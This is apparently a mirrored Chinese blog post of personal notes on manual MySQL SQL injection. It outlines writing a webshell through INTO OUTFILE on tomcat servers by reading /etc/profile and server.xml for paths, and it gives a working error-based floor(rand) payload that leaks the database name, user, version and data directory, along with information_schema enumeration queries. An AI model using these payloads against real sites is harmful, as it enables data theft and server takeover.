zoukankan      html  css  js  c++  java
  • 注入技巧与案例

    0X01 注入into outfile钟爱tomcat注入

    1. 钟爱tomcat注入

    tomcat+jsp+mysql

    tomcat需要system或root权限,这种情况一般mysql为root,jsp没有GPC转义。

    场景:

    注入+fileprev,但没有网站物理路径

    现在开始mang后台路径

    • /var/www
    • 如果已知 tomcat路径,读取 conf/server.xml
    • 读取/etc/profile (环境变量)

    再读取/conf/server.xml得到网站路径

    写入webshell获得权限

    0X02 MySQL的from问题

    select CateId from cmc_display_type where CateId = 375 and 1=2 union select 1 from (select count(),concat(floor(rand(0)2),(select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a from information_schema.tables group by a)b

    该语句不会报错,反而搜出了一个1

    在版本5.1中

    select 1 from (select count(),concat(floor(rand(0)2),(select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a from information_schema.tables group by a)b

    select 的内容作为一个临时表/虚拟表,供给from进行查询。所以select 1 from 虚拟表,搜索出来的内容为1。
    虚拟表中,将select concat内容作为字段a。所以应该select a from 虚拟表,能够带出数据。
    带出的数据因为rand(0)*2有两条。

    将rand(0)*2改为 1 或者去掉floor(rand(0)2),则只有一条数据。

    测试版本 4.1.22-community-nt (windows)

    windows7 + mysql4,新安装的mysql只有mysql和test数据库
    搜索一下information_schema数据库的版本

    mysql版本>5时,有information_schema库。
    而mysql4.1.22时,已经有虚拟表,具体的版本是3.23
    版本大于3.23时,虚拟表from 虚拟表的语法不会报错。

    插入

    在select中,使用select a from 虚拟表来显示回显。
    在insert中,如果是插入主键,可以select 1,将会报错,并且将报错信息中的内容带出来(Duplicate entry报错)

    0X03 MySQL的表结构

    以前手注有记得,但是使用间隔太长又给忘了。重新来一遍回忆一下吧

    查看当前数据库所有表

    select table_name from information_schema.tables where table_schema = database() limit 0,1

    查看表的字段

    select column_name from information_schema.columns where table_name = 表的hex limit 0,1

    表结构

    information_schema.tables information_schema.columns

    database字段:table_schema
    table字段:table_name
    columns字段 column_name

    0x04 GROUP_CONCAT与CONCAT的区别

    GROUP_CONCAT通常表现为
    GROUP_CONCAT(DISTINCT )

    0X05 CONVERT转编码(土耳其)

    0X06 函数总结

    手工注入php+MySQL参数,技巧和描述

  • 相关阅读:
    网络协议栈(6)RFC793TCP连接时部分异常流程及实现
    网络协议栈(5)sendto/send返回成功意味着什么
    LeetCode——Detect Capital
    LeetCode——Find All Numbers Disappeared in an Array
    LeetCode——Single Number
    LeetCode——Max Consecutive Ones
    LeetCode——Nim Game
    LeetCode——Reverse String
    LeetCode——Next Greater Element I
    LeetCode——Fizz Buzz
  • 原文地址:https://www.cnblogs.com/huim/p/10761066.html
Copyright © 2011-2022 走看看